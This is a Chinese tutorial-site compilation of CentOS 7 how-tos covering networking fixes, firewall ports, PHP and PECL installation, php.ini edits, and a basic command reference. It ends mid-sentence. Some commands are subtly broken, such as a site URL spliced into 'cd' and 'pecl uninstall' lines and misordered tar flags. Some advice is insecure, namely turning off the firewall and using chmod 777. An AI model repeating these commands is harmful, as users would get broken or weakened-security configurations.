相关视频教程分享:linux视频教程 以上就是centos6与7的区别的知识。速戳>>知识兔学习精品课! 问题: VMware WorkStation新建centos7无法DHCP自动获取IP地址。 (推荐教程:centos使用教程) 解决方法: 在VMware的网络配置NAT正确的情况下,修改 vim /etc/sysconfig/network-scripts/ifcfg-nes33 把ONBOOT=no, 修改成ONBOOT=yes 接着,执行如下命令: service network restart 之后, ifconfig查看一下, 是否已经自动获取了IP地址即可。 相关视频教程推荐:linux视频教程 以上就是centos7系统无法dhcp自动获取ip地址的知识。速戳>>知识兔学习精品课! 首先检查添加DNS是否正常,如不存在则添加dns: [root@cgls]# vim /etc/resolv.confnameserver 114.114.114.114nameserver 8.8.8.8 (推荐教程:centos使用教程) 如果还是不行,可以尝试添加路由:(根据自己的网段设置,我的是192.168.11网段的!) [root@cgls]# route add default gw 192.168.11.1 一般情况下,这时候就可以ping通了: [root@cgls]# ping www.baidu.com 相关视频教程推荐:linux视频教程 以上就是centos7系统无法ping通外网的知识。速戳>>知识兔学习精品课! 原因: 网卡没能跟随操作系统启动。 解决方法: 1、打开终端,切换到root账户(普通账户通常没有修改网络配置文件的权限,所以要切换到root账户) 2、切换到网卡配置文件的目录 (推荐教程:centos使用教程) 3、找到网卡的配置文件(centos7修改了网卡的命名规则,不再是我们熟悉的eth0了,而是ifcfg-eno+一串数字),例如我的就是ifcfg-eno 4、用vi命令打开这个文件 5、最后一行的onboot选项,把默认的no改成yes 6、用命令:x保存退出 相关视频教程推荐:linux视频教程 以上就是centos7系统无法使用yum命令的知识。速戳>>知识兔学习精品课! 一、检验防火墙是否启动 输入命令 " firewall-cmd --state " 如果出现如图所示的这种情况说明正在运行,如果没有正在运行需要执行命令" systemctl start firewalld "开启防火墙服务 (推荐教程:centos使用教程) 二、检查8080端口是否被防火墙开启输入命令" firewall-cmd --permanent --zone=public --list-ports “ 如果出现如图所以的情况说明8080端口被开启 如果没有出现如图所示的情况则需要执行命令" firewall-cmd --zone=public --add-port=8080/tcp --permanent"开启8080端口,出现" success" 则表示添加成功。 三、重新启动防火墙 输入命令" firewall-cmd --reload" 重新启动防火墙,出现” success“ 字样则表示重新启动成功。 四、验证开启的8080端口是否生效 输入命令” firewall-cmd --zone=public --query-port=8080/tcp“ 验证8080端口是否生效,如果出现 ” yes “字样则代表生效。 此时就可以使用外部浏览器访问centos 中的tomcat啦。 相关视频教程分享:linux视频教程 以上就是centos7系统无法访问tomcat的知识。速戳>>知识兔学习精品课! centos7 yum安装php的方法:首先在CentOS7系统上安装和启用EPEL和Remi存储库;然后安装“yum-utils”;接着使用“yum -y install php”命令安装PHP以及所有必需的模块;最后启动“fpm”即可。 推荐:《PHP视频教程》《centos教程》 在CentOS的7官方软件仓库有PHP 5.4已经走到了生命的结束,由开发商不再积极维护。 要了解最新功能和安全更新,您需要在CentOS 7系统上使用更新的(可能是最新的)PHP版本。 在CentOS 7上安装PHP 7 安装必要 yum -y install gcc gcc-c++ 1.要安装PHP 7,您必须使用以下命令在CentOS 7系统上安装和启用EPEL和Remi存储库。 #yum install https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm#yum install http://rpms.remirepo.net/enterprise/remi-release-7.rpm 2.接下来,您需要安装yum-utils,这是一组用于管理yum存储库和包的有用程序。它有基本上扩展yum默认功能的工具。 它可用于管理(启用或禁用)yum存储库以及包,无需任何手动配置等等。 #yum -y install yum-utils 3. yum-utils提供的程序之一是yum-config-manager,您可以使用它来启用Remi存储库作为安装不同PHP版本的默认存储库,如图所示。 #yum-config-manager --enable remi-php71 [ 安装PHP 7.1 ]#yum-config-manager --enable remi-php72 [ 安装PHP 7.2 ]#yum-config-manager --enable remi-php73 [ 安装PHP 7.3 ] 4.现在使用以下命令安装PHP 7以及所有必需的模块。 #yum -y install php php-mcrypt php-devel php-cli php-gd php-pear php-curl php-fpm php-mysql php-ldap php-zip php-fileinfo 5.查看php版本 [root@VM_159_140_centos lnmp]# php -vPHP 7.1.28 (cli) (built: Apr 2 2019 17:49:56) ( NTS )Copyright (c) 1997-2018 The PHP GroupZend Engine v3.1.0, Copyright (c) 1998-2018 Zend Technologies 6.启动php-fpm systemctl start php-fpm 开启启动 systemctl enable php-fpm.service 查看php.ini文件位置 [root@VM_159_140_centos ~]# php -iniphpinfo()PHP Version => 7.1.28System => Linux VM_159_140_centos 3.10.0-514.26.2.el7.x86_64 #1 SMP Tue Jul 4 15:04:05 UTC 2017 x86_64Build Date => Apr 2 2019 17:49:32Server API => Command Line InterfaceVirtual Directory Support => disabledConfiguration File (php.ini) Path => /etcLoaded Configuration File => /etc/php.iniScan this dir for additional .ini files => /etc/php.dAdditional .ini files parsed => /etc/php.d/20-bz2.ini,/etc/php.d/20-calendar.ini,/etc/php.d/20-ctype.ini,/etc/php.d/20-curl.ini,/etc/php.d/20-dom.ini,/etc/php.d/20-exif.ini,/etc/php.d/20-fileinfo.ini,/etc/php.d/20-ftp.ini,/etc/php.d/20-gd.ini,/etc/php.d/20-gettext.ini,/etc/php.d/20-iconv.ini,/etc/php.d/20-json.ini,/etc/php.d/20-ldap.ini,/etc/php.d/20-mcrypt.ini,/etc/php.d/20-mysqlnd.ini,/etc/php.d/20-pdo.ini,/etc/php.d/20-phar.ini,/etc/php.d/20-posix.ini,/etc/php.d/20-redis.ini,/etc/php.d/20-shmop.ini,/etc/php.d/20-simplexml.ini,/etc/php.d/20-sockets.ini,/etc/php.d/20-sqlite3.ini,/etc/php.d/20-sysvmsg.ini,/etc/php.d/20-sysvsem.ini,/etc/php.d/20-sysvshm.ini,/etc/php.d/20-tokenizer.ini,/etc/php.d/20-xml.ini,/etc/php.d/20-xmlwriter.ini,/etc/php.d/20-xsl.ini,/etc/php.d/30-mysqli.ini,/etc/php.d/30-pdo_mysql.ini,/etc/php.d/30-pdo_sqlite.ini,/etc/php.d/30-wddx.ini,/etc/php.d/30-xmlreader.ini,/etc/php.d/40-zip.ini,/etc/php.d/50-swoole.ini pecl安装扩展准备 [root@VM_159_140_centos default]# yum -y install php-pear[root@VM_159_140_centos default]# peclCommands:build Build an Extension From C Sourcebundle Unpacks a Pecl Packagechannel-add Add a Channelchannel-alias Specify an alias to a channel namechannel-delete Remove a Channel From the List ................................................... pecl安装redis [root@VM_159_140_centos www]# pecl install redisYou should add "extension=redis.so" to php.ini[root@VM_159_140_centos www]# echo "extension=redis.so;" >> /etc/php.d/20-redis.ini 错误 checking for igbinary includes... configure: error: Cannot find igbinary.h[root@VM_159_140_centos www]# pecl install igbinaryYou should add "extension=igbinary.so" to php.ini[root@VM_159_140_centos www]# echo "extension=igbinary.so;" >> /etc/php.d/20-redis.ini 以上就是centos7 yum安装php的方法的知识。速戳>>知识兔学习精品课! 下面由centos教程栏目给大家介绍centos硬盘容量查看的方法,希望对需要的朋友有所帮助! 查看磁盘使用情况 df -h 列出指定的外围设备的[分区表]状况 fdisk -l 列出所有可用块设备的信息 lsblk #sda1-->意思是第一个硬盘(a)的第一个分区(1) 列出所有设备的[分区]信息 parted -l 命令查看各个目录的占用空间,试图找到占用较多空间的目录 du / -h --max-depth=1 查看Docker的磁盘使用情况 docker system df 查看镜像 docker images 删除容器 docker rm -f [containerID] 删除无用镜像 docker rmi 【镜像id】 通过find指令查找文件来删除: find /data/test/ -name "*.zip" -exec rm -rf {} ; 以上就是centos硬盘容量查看的方法的知识。速戳>>知识兔学习精品课! 下面由centos教程栏目给大家介绍CentOS7支持中文显示的方法,希望对需要的朋友有所帮助! 1.查看系统是否安装有中文语言包 locale -a | grep "zh_CN" 命令含义:列出所有可用的公共语言环境的名称,包含有"zh_CN" 若出现图中所示几项,那么说明系统中已经安装了语言包,不需要在安装。含义是:{语言代号_国家代号}.{字符集} zh:是中文的代号。 CN:是中国的代号。 gb、gb2312、utf8、gbk:字符集 2.如果没有安装中文语言包,那么安装一下中文语言包 yum groupinstall "fonts" (或者 3.查看当前语言 locale 可以看到我的系统当前显示的语言中并没有中文。 4.更改i18n国际化和locale.conf本土化配置文件(CentOS7以下) 在/etc/locale.conf文件中最开始的地方增加一行 LANG=zh_CN.gbk,结果如下图所示: 然后更改i18n文件的内容,它在/etc/sysconfig/目录下,如果没有这个文件,那么使用touch i18n创建它。 在文件开始的地方添加如下两行: LANG=zh_CN.gbk LC_ALL=zh_CN.gbk 效果如下: CentOS7修改vi /etc/locale.conf。 5.重启服务器,使刚才的配置生效 使用命令reroot 以上就是CentOS7如何支持中文显示的知识。速戳>>知识兔学习精品课! centos彻底删除文件夹、文件命令(centos 新建、删除、移动、复制等命令: 1.新建文件夹 mkdir 文件名 新建一个名为test的文件夹在home下 view source1 mkdir /home/test 2.新建文本 在home下新建一个test.sh脚本 vi /home/test.sh 3.删除文件或文件夹 1、删除home目录下的test目录 rm /home/test 2、这种不带参数的删除方法经常会提示无法删除,因为权限不够。 rm -r /home/test 3、-r是递归的删除参数表中的目录及其子目录。 目录将被清空并且删除。 当删除目录包含的具有写保护的文件时用户通常是被提示的。 rm -rf /home/test -4、f是不提示用户,删除目录下的所有文件。请注意检查路径,输成别的目录就悲剧了。 rm -ir /home/test 5、-i是交互模式。使用这个选项,rm命令在删除任何文件前提示用户确认。 4.移动文件或文件夹 mv [options] 源文件或目录 目标文件或目录 示例: 1、移动hscripts文件夹/目录下的所有文件,目录和子目录到tmp目录mv hscripts tmp分析:在上述命令中,如果tmp目录已经存在,mv命令将移动hscripts文件夹/目录下的所有文件,目录和子目录到tmp目录。 如果没有tmp目录,它将重命名 hscripts目录为tmp目录。 2、移动多个文件/更多问价到另一目录mv file1.txt tmp/file2.txt newdir这个命令移动当前目录的file1.txt文件和tmp文件夹/目录的file2.txt文件到newdir目录。 参数: -i:交互方式操作。如果mv操作将导致对已存在的目标文件的覆盖,此时系统询问是否重写,要求用户回答”y”或”n”,这样可以避免误覆盖文件。 -f:禁止交互操作。mv操作要覆盖某个已有的目标文件时不给任何指示,指定此参数后i参数将不再起作用。 5.复制文件或文件夹 cp [options] 来源档(source) 目的檔(destination) 参数:-a :相当于 -pdr 的意思;-d :若来源文件为连结文件的属性(link file),则复制连结文件属性而非档案本身;-f :为强制 (force) 的意思,若有重复或其它疑问时,不会询问使用者,而强制复制;-i :若目的檔(destination)已经存在时,在覆盖时会先询问是否真的动作!-l :进行硬式连结 (hard link) 的连结档建立,而非复制档案本身;-p :连同档案的属性一起复制过去,而非使用预设属性;-r :递归持续复制,用于目录的复制行为;-s :复制成为符号连结文件 (symbolic link),亦即『快捷方式』档案;-u :若 destination 比 source 旧才更新 destination !最后需要注意的,如果来源档有两个以上,则最后一个目的文件一定要是『目录』才行! 示例: 1、复制两个文件:cp file1 file2上述cp命令复制文件file1.php 的内容到文件file2.php中。 2、备份拷贝的文件:cp -b file1.php file2.php创建文件file1.php的带着符号 ‘~’的备份文件file2.php~。3、复制文件夹和子文件夹:cp -R scripts scripts1上面的 cp 命令从 scripts 复制文件夹和子文件夹到 scripts1。 6、创建目录mkdir 文件名mkdir /var/www/test centos php pecl安装方法:首先更新yum源,安装php7;然后通过“yum install”命令安装PECL;最后配置“php.ini”文件即可。 推荐:《centos入门教程》 centos 安装pecl 一、更新yum源,安装php7 CentOS/RHEL 7.x: 1 rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm2 rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm CentOS/RHEL 6.x: rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-6.noarch.rpm rpm -Uvh https://mirror.webtatic.com/yum/el6/latest.rpm yum安装php7.0:(拓展自选) yum install php70w-common php70w-fpm php70w-opcache php70w-gd php70w-mysqlnd php70w-mbstring php70w-pecl-memcached php70w-devel 以上命令安装了下面的拓展! php-api, php-bz2, php-calendar, php-ctype, php-curl, php-date, php-exif, php-fileinfo, php-filter, php-ftp, php-gettext, php-gmp, php-hash, php-iconv, php-json, php-libxml, php-openssl, php-pcre, php-pecl-Fileinfo, php-pecl-phar, php-pecl-zip, php-reflection, php-session, php-shmop, php-simplexml, php-sockets, php-spl, php-tokenizer, php-zend-abi, php-zip, php-zlib 二、安装PECL //php版本 > 7$ wget http://pear.php.net/go-pear.phar$ php go-pear.phar//php版本 < 7$ yum install php-pear//否则会报错PHP Parse error: syntax error, unexpected //'new' (T_NEW) in /usr/share/pear/PEAR/Frontend.php on //line 91 三、安装swoole $ sudo pecl install swoole //报错如下//Warning: Invalid argument supplied for foreach() in //Command.php on line 249 vi `which pecl` //找到最后一行exec $PHP -C -n -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d safe_mode=0 -d register_argc_argv="On" $INCDIR/peclcmd.php "$@"去掉 -n 标示//报错如下//running: phpize//Can't find PHP headers in /usr/include/php安装 PHP devel成功!//Build process completed successfully//Installing '/usr/lib64/php/modules/swoole.so'//install ok: channel://pecl.php.net/swoole-1.9.8 四、配置 php.ini $ php -i | grep php.ini 五、卸载扩展 php.ini 中删除 extension=swoole.so 卸载,切换到PHP安装目录下的bin https://xiaotua.com/103/pecl uninstall swoole(已swoole为例) 以上就是centos php pecl 安装方法的知识。速戳>>知识兔学习精品课! centos下安装php环境的方法:首先安装并启动apache;然后安装mysql;接着通过“yum install php php-devel”命令安装php;最后重启apache即可。 推荐:《centos入门教程》 1.安装apache: yum install httpd httpd-devel 启动apache: /bin/systemctl start httpd.service 此时在浏览器地址栏输入服务器的IP地址,应该看到apache的服务页面,端口不用输,apache默认就是使用80端口,如果端口改变了就要输。有可能访问不了 你需要将Centos 7 中的防火墙关闭: systemctl stop firewalld.service #停止firewall systemctl disable firewalld.service #禁止firewall开机启动 firewall-cmd --state #查看默认防火墙状态(关闭后显示notrunning,开启后显示running) 2.安装mysql: yum install mysql mysql-server 启动mysql: systemctl start mysql.service 要启动MySQL数据库是却是这样的提示 Failed to start mysqld.service: Unit not found 解决方法如下:首先需要安装mariadb-server yum install -y mariadb-server 启动服务 systemctl start mariadb.service 添加到开机启动 systemctl enable mariadb.service 至此完成!可以测试一下 mysql -u root -p 3.安装php yum install php php-devel 重启apache使php生效 /bin/systemctl start httpd.service 此时可以在目录:/var/www/html/下建立一个PHP文件index.php,加入代码: <?php phpinfo(); ?> 然后在浏览器访问这个文件,就能看到PHP的一些信息,php.ini配置文件的路径可以在这个页面上看到 如若安装PHP7版本请看下面的操作 在centos7通过yum安装PHP7,首先在终端运行: rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm 提示错误: error: Failed dependencies:epel-release >= 7 is needed by webtatic-release-7-3.noarch 需要先安装epel-release。 1.安装epel-release 通过命令: rpm -ivh http://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm 成功安装。 2.安装PHP7 终端再次运行如下命令: rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm 成功获取PHP7的yum源,然后再执行: yum install php70w 这样就大功告成了。 3.验证安装 终端命令:php -v,显示当前PHP版本,信息如下: [root@iZ94w0kemvtZ /]# php -vPHP 7.0.2 (cli) (built: Jan 9 2016 14:00:11) ( NTS )Copyright (c) 1997-2015 The PHP GroupZend Engine v3.0.0, Copyright (c) 1998-2015 Zend Technologies 这样就在CentOS 7下通过yum安装成功PHP7. 安装php的扩展 yum install php-mysql php-gd php-imap php-ldap php-odbc php-pear php-xml php-xmlrpc 安装完扩展之后需要再次重启apache /bin/systemctl start httpd.service 以上就是centos下如何安装php环境的知识。速戳>>知识兔学习精品课! centos修改php.ini的方法:首先利用phpinfo函数查找“php.ini”位置;然后利用Xshell连接服务器;接着进入文件,查找关键字;最后通过操作命令进行修改即可。 推荐:《centos入门教程》《PHP视频教程》 1.php.ini属性默认值 file_uploads = on ;是否允许通过HTTP上传文件的开关。默认为ON upload_tmp_dir ;文件上传至服务器上存储临时文件的地方,默认为系统默认的临时文件夹 upload_max_filesize :允许上传文件大小的最大值。默认为2M post_max_size :指通过表单POST给PHP的所能接收的最大值,包括表单里的所有值。默认为8Mmax_execution_time :每个PHP页面运行的最大时间值(秒),默认30秒 max_input_time :每个PHP页面接收数据所需的最大时间,默认60秒 改为(参考) max_execution_time = 600 max_input_time = 600 file_uploads = on upload_tmp_dir = /tmp upload_max_filesize = 32m post_max_size = 32m 2.配置php.ini 重启Apache服务器即可 Centos(7+)/Linux下 1.寻找php.ini 创建php文件 利用phpinfo()函数查找php.ini位置 echo phpinfo(); 如图: 2.利用Xshell连接服务器,vi编辑文件 # vi /etc/php.ini 3.进入文件,查找关键字(见开头,修改为自己想要的即可) 1)在命令模式(按ESC进入,没有反应,敲入命令即可)下敲斜杆( / ) 2)状态栏(屏幕左下脚)出现 “/” 输入你要查找的关键字回车。 3)如果你要继续查找此关键字,敲字符 n / 敲字符N(大写N)就会向前查询; 4.修改, 以下为命令模式下的部分操作命令操作解析i进入编辑文本模式Esc退出编辑文本模式:w保存当前修改但不退出:q不保存文件退出vi:wq 保存当前修改并退出vi:q!不保存文件,强制退出vi:e!放弃所有修改,从上次保存文件开始再编辑 5.php.ini修改后需要重新启动Apache服务器(网上都是说重新启动PHP,我尝试失败了,重启Apache后成功) 1)PHP启动停止和重启命令 service php-fpm start service php-fpm stop service php-fpm reload 2)Apache启动停止和重启命令 service httpd start 启动 service httpd restart 重新启动 service httpd stop 停止服务 6.附检查文件上传失败原因 $_FILES['file']['error'] 显示该文件上传相关的错误代码值:0; 没有错误发生,文件上传成功。值:1; 上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。值:2; 上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。值:3; 文件只有部分被上传。值:4; 没有文件被上传。 以上就是centos如何修改php.ini的知识。速戳>>知识兔学习精品课! centos7删除php的方法:1、执行【rpm -qa | grep php】命令查看php相关软件包;2、执行【rpm -e】命令删除php软件包;3、执行【php -v】命令查看是否删除完成。 查看php版本命令: (推荐教程:centos教程) #php -v 下面的命令是删除不干净的 #yum remove php 因为使用这个命令以后再用 #php -v 还是会看到有版本信息的。 必须强制删除,使用下面命令查看全部php软件包 #rpm -qa|grep php 提示如下: #php-pdo-5.1.6-27.el5_5.3#php-mysql-5.1.6-27.el5_5.3#php-xml-5.1.6-27.el5_5.3#php-cli-5.1.6-27.el5_5.3#php-common-5.1.6-27.el5_5.3#php-gd-5.1.6-27.el5_5.3 注意卸载要先卸载没有依赖的。 pdo是mysql的依赖项;common是gd的依赖项; 例如: # rpm -e php-pdo-5.1.6-27.el5_5.3error: Failed dependencies:php-pdo is needed by (installed) php-mysql-5.1.6-27.el5_5.3.i386 所以正确的卸载顺序是: # rpm -e php-mysql-5.1.6-27.el5_5.3 # rpm -e php-pdo-5.1.6-27.el5_5.3 # rpm -e php-xml-5.1.6-27.el5_5.3 # rpm -e php-cli-5.1.6-27.el5_5.3 # rpm -e php-gd-5.1.6-27.el5_5.3 # rpm -e php-common-5.1.6-27.el5_5.3 再用 # php -v 查看版本信息已经没有提示了,删除成功。 相关推荐:php培训 以上就是centos7如何删除php的知识。速戳>>知识兔学习精品课! centos7安装php扩展的方法:首先执行【yum search php74-php】命令查看有哪些可以安装的php扩展;然后执行【yum -y install 扩展名】命令安装即可,如【yum -y install php-fpm】。 查看有哪些可以安装的PHP扩展: (推荐教程:centos教程) yum search php74-php 示例: 安装php74-php-fpm扩展 yum -y install php-fpm 相关推荐:php培训 以上就是centos7如何安装php扩展的知识。速戳>>知识兔学习精品课! 下面由centos入门教程栏目给大家分享CentOS基础命令大全,希望对需要的朋友有所帮助! 1.关机 (系统的关机、重启以及登出 ) 的命令 shutdown -h now 关闭系统(1) init 0 关闭系统(2) telinit 0 关闭系统(3) shutdown -h hours:minutes & 按预定时间关闭系统 shutdown -c 取消按预定时间关闭系统 shutdown -r now 重启(1) reboot 重启(2) logout 注销 2.查看系统信息的命令 arch 显示机器的处理器架构(1) uname -m 显示机器的处理器架构(2) uname -r 显示正在使用的内核版本 dmidecode -q 显示硬件系统部件 - (SMBIOS / DMI) hdparm -i /dev/hda 罗列一个磁盘的架构特性 hdparm -tT /dev/sda 在磁盘上执行测试性读取操作 cat /proc/cpuinfo 显示CPU info的信息 cat /proc/interrupts 显示中断 cat /proc/meminfo 校验内存使用 cat /proc/swaps 显示哪些swap被使用 cat /proc/version 显示内核的版本 cat /proc/net/dev 显示网络适配器及统计 cat /proc/mounts 显示已加载的文件系统 lspci -tv 罗列 PCI 设备 lsusb -tv 显示 USB 设备 date 显示系统日期 cal 2007 显示2007年的日历表 date 0.00 设置日期和时间 - 月日时分年.秒 clock -w 将时间修改保存到 BIOS 3.文件和目录操作命令 cd /home 进入 '/ home' 目录' cd .. 返回上一级目录 cd https://xiaotua.com/.. 返回上两级目录 cd 进入个人的主目录 cd ~user1 进入个人的主目录 cd - 返回上次所在的目录 pwd 显示工作路径 ls 查看目录中的文件 ls -F 查看目录中的文件 ls -l 显示文件和目录的详细资料 ls -a 显示隐藏文件 mkdir dir1 创建一个叫做 'dir1' 的目录' mkdir dir1 dir2 同时创建两个目录 mkdir -p /tmp/dir1/dir2 创建一个目录树 rm -f file1 删除一个叫做 'file1' 的文件' rmdir dir1 删除一个叫做 'dir1' 的目录' rm -rf dir1 删除一个叫做 'dir1' 的目录并同时删除其内容 rm -rf dir1 dir2 同时删除两个目录及它们的内容 mv dir1 new_dir 重命名/移动 一个目录 cp file1 file2 复制一个文件 cp dir/* . 复制一个目录下的所有文件到当前工作目录 cp -a /tmp/dir1 . 复制一个目录到当前工作目录 cp -a dir1 dir2 复制一个目录 ln -s file1 lnk1 创建一个指向文件或目录的软链接 ln file1 lnk1 创建一个指向文件或目录的物理链接 touch file1 创建一个文件 4.文件搜索命令 find / -name file1 从 '/' 开始进入根文件系统搜索文件和目录 find / -user user1 搜索属于用户 'user1' 的文件和目录 find /home/user1 -name *.bin 在目录 '/ home/user1' 中搜索带有'.bin' 结尾的文件 find /usr/bin -type f -atime +100 搜索在过去100天内未被使用过的执行文件 find /usr/bin -type f -mtime -10 搜索在10天内被创建或者修改过的文件 locate *.ps 寻找以 '.ps' 结尾的文件 - 先运行 'updatedb' 命令 whereis file 显示一个二进制文件、源码或man的位置 which file 显示一个二进制文件或可执行文件的完整路径 5.查看文件内容 cat file1 从第一个字节开始正向查看文件的内容 tac file1 从最后一行开始反向查看一个文件的内容 more file1 查看一个长文件的内容 less file1 类似于 'more' 命令,但是它允许在文件中和正向操作一样的反向操作 head -2 file1 查看一个文件的前两行 tail -2 file1 查看一个文件的最后两行 5.挂载命令 mount /dev/hda2 /mnt/hda2 挂载一个叫做hda2的盘 (注:确定目录 '/ mnt/hda2' 已经存在) umount /dev/hda2 卸载一个叫做hda2的盘 (先从挂载点 '/ mnt/hda2' 退出) fuser -km /mnt/hda2 当设备繁忙时强制卸载 umount -n /mnt/hda2 运行卸载操作而不写入 /etc/mtab 文件(当文件为只读或当磁盘写满时非常有用) mount /dev/fd0 /mnt/floppy 挂载一个软盘 mount /dev/cdrom /mnt/cdrom 挂载一个光盘 mount /dev/hdc /mnt/cdrecorder 挂载一个cdrw或dvdrom mount /dev/hdb /mnt/cdrecorder 挂载一个cdrw或dvdrom mount -o loop file.iso /mnt/cdrom 挂载一个文件或ISO镜像文件 mount -t vfat /dev/hda5 /mnt/hda5 挂载一个Windows FAT32文件系统 mount /dev/sda1 /mnt/usbdisk 挂载一个usb 捷盘或闪存设备 mount -t smbfs -o username=user,password=pass //WinClient/share /mnt/share 挂载一个windows网络共享 6.磁盘空间操作的命令 df -h 显示已经挂载的分区列表 ls -lSr |more 以尺寸大小排列文件和目录 du -sh dir1 估算目录 'dir1' 已经使用的磁盘空间' du -sk * | sort -rn 以容量大小为依据依次显示文件和目录的大小 7.用户和群组相关命令 groupadd group_name 创建一个新用户组 groupdel group_name 删除一个用户组 groupmod -n new_group_name old_group_name 重命名一个用户组 useradd -c "Name Surname " -g admin -d /home/user1 -s /bin/bash user1 创建一个属于 "admin" 用户组的用户 useradd user1 创建一个新用户 userdel -r user1 删除一个用户 ( '-r' 同时删除除主目录) passwd user1 修改一个用户的口令 (只允许root执行) chage -E 2005-12-31 user1 设置用户口令的失效期限 ls -lh 显示权限 chmod 777 directory1 设置目录的所有人(u)、群组(g)以及其他人(o)以读(r )、写(w)和执行(x)的权限 chmod 700 directory1 删除群组(g)与其他人(o)对目录的读写执行权限 chown user1 file1 改变一个文件的所有人属性,为use1。 chown -R user1 directory1 改变一个目录的所有人属性并同时改变改目录下所有文件的属性都为use1所有 chgrp group1 file1 改变文件的群组为group1 chown user1:group1 file1 改变一个文件的所有人和群组属性,所属组为group1,用户为use1。 find / -perm -u+s 罗列一个系统中所有使用了SUID控制的文件 chmod u+s /bin/file1 设置一个二进制文件的 SUID 位 - 运行该文件的用户也被赋予和所有者同样的权限 chmod u-s /bin/file1 禁用一个二进制文件的 SUID位 chmod g+s /home/public 设置一个目录的SGID 位 - 类似SUID ,不过这是针对目录的 chmod g-s /home/public 禁用一个目录的 SGID 位 chmod o+t /home/public 设置一个文件的 STIKY 位 - 只允许合法所有人删除文件 chmod o-t /home/public 禁用一个目录的 STIKY 位 8.打包和解压缩文件的命令 bunzip2 file1.bz2 解压一个叫做 'file1.bz2'的文件 bzip2 file1 压缩一个叫做 'file1' 的文件 gunzip file1.gz 解压一个叫做 'file1.gz'的文件 gzip file1 压缩一个叫做 'file1'的文件 gzip -9 file1 最大程度压缩 rar a file1.rar test_file 创建一个叫做 'file1.rar' 的包 rar a file1.rar file1 file2 dir1 打包 'file1', 'file2' 以及目录 'dir1' rar x file1.rar 解rar包 unrar x file1.rar 解rar包 tar -cvf archive.tar file1 创建一个非压缩的tar包 tar -cvf archive.tar file1 file2 dir1 创建一个包含了 'file1', 'file2' 'dir1'的包 tar -tf archive.tar 显示一个包中的内容 tar -xvf archive.tar 释放一个包 tar -xvf archive.tar -C /tmp 将压缩包释放到 /tmp目录下 (-c是指定目录) tar -cvfj archive.tar.bz2 dir1 创建一个bzip2格式的压缩包 tar -xvfj archive.tar.bz2 解压一个bzip2格式的压缩包 tar -cvfz archive.tar.gz dir1 创建一个gzip格式的压缩包 tar -xvfz archive.tar.gz 解压一个gzip格式的压缩包 zip file1.zip file1 创建一个zip格式的压缩包 zip -r file1.zip file1 file2 dir1 将几个文件和目录同时压缩成一个zip格式的压缩包 unzip file1.zip 解压一个zip格式压缩包 9.关于RPM 包的命令 rpm -ivh package.rpm 安装一个rpm包 rpm -ivh --nodeeps package.rpm 安装一个rpm包而忽略依赖关系警告 rpm -U package.rpm 更新一个rpm包但不改变其配置文件 rpm -F package.rpm 更新一个确定已经安装的rpm包 rpm -e package_name.rpm 删除一个rpm包 rpm -qa 显示系统中所有已经安装的rpm包 rpm -qa | grep httpd 显示所有名称中包含 "httpd" 字样的rpm包 rpm -qi package_name 获取一个已安装包的特殊信息 rpm -ql package_name 显示一个已经安装的rpm包提供的文件列表 rpm -qc package_name 显示一个已经安装的rpm包提供的配置文件列表 rpm -q package_name --whatrequires 显示与一个rpm包存在依赖关系的列表 rpm -q package_name --whatprovides 显示一个rpm包所占的体积 rpm -q package_name --scripts 显示在安装/删除期间所执行的脚本l rpm -q package_name --changelog 显示一个rpm包的修改历史 rpm -qf /etc/httpd/conf/httpd.conf 确认所给的文件由哪个rpm包所提供 rpm -qp package.rpm -l 显示由一个尚未安装的rpm包提供的文件列表 rpm --import /media/cdrom/RPM-GPG-KEY 导入公钥数字证书 rpm --checksig package.rpm 确认一个rpm包的完整性 rpm -qa gpg-pubkey 确认已安装的所有rpm包的完整性 rpm -V package_name 检查文件尺寸、 许可、类型、所有者、群组、MD5检查以及最后修改时间 rpm -Va 检查系统中所有已安装的rpm包- 小心使用 rpm -Vp package.rpm 确认一个rpm包还未安装 rpm2cpio package.rpm | cpio --extract --make-directories *bin* 从一个rpm包运行可执行文件 rpm -ivh /usr/src/redhat/RPMS/`arch`/package.rpm 从一个rpm源码安装一个构建好的包 rpmbuild --rebuild package_name.src.rpm 从一个rpm源码构建一个 rpm 包 10.YUM 软件包升级器 yum install package_name 下载并安装一个rpm包 yum localinstall package_name.rpm 将安装一个rpm包,使用你自己的软件仓库为你解决所有依赖关系 yum update package_name.rpm 更新当前系统中所有安装的rpm包 yum update package_name 更新一个rpm包 yum remove package_name 删除一个rpm包 yum list 列出当前系统中安装的所有包 yum search package_name 在rpm仓库中搜寻软件包 yum clean packages 清理rpm缓存删除下载的包 yum clean headers 删除所有头文件 yum clean all 删除所有缓存的包和头文件 以上就是分享CentOS基础命令大全的知识。速戳>>知识兔学习精品课! 问题: VMWare虚拟机安装了CentOS7 ,突然发现连接不上,进入系统使用ifconfig命令查看网络设备,发现无外网网卡。 (推荐教程:centos教程) 如下: [root@localhost ~]# ifconfiglo: flags=73<UP,LOOPBACK,RUNNING> mtu inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 12 bytes 1068 (1.0 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 12 bytes 1068 (1.0 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0virbr0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 inet 192.168.122.1 netmask 255.255.255.0 broadcast 192.168.122.255 ether 52:54:00:f6:af:41 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 重启网卡试试看。结果报错了!报错信息如下: [root@localhost ~]# systemctl status network● network.service - LSB: Bring up/down networking Loaded: loaded (/etc/rc.d/init.d/network; bad; vendor preset: disabled) Active: failed (Result: exit-code) since Mon 2020-09-28 09:59:00 CST; 9s ago Docs: 